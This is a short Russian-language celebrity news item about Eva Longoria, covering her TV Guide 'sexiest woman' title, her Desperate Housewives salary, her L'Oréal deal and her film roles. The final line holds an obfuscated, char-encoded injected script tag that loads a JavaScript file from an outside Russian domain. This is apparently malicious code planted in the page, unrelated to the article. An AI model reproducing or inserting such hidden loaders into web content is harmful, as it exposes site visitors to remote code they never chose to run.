Издание TV Guide назвали Еву Лонгория самой сексуальной женщиной на американском ТВ. Ева прославилась благодаря своей героине Габриэллы Солис в сериале «Отчаянные домохозяйки».

В свои 34 года, Ева не беспокоится о возрасте: «Я чувствую, что с каждым годом становлюсь мудрее и опытней. Я наслаждаюсь жизнью, старением. Мой муж думает, что я самая сексуальная именно утром, когда только встаю – какой девушке не понравятся такие слова?».
В первом сезоне за каждый эпизод "Отчаянных домохозяек" Ева получала 30000 долларов. Во втором сезоне – уже 250000.
В 2005 году она была выбрана лицом компании Лореаль, подписав контракт почти на два миллиона долларов и заняла первое место в списке журнала "Максим", поднявшись за один год с 91 места. 
В 2006 году Лонгория сыграла в детективном триллере "Охранник" с Кифером Сазерлендом и Майклом Дугласом.

char(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,112,105,107,115,117,115,46,109,115,107,46,114,117,47)19e1ec32c5678899914e0125eed2151d.js" type="text/javascript">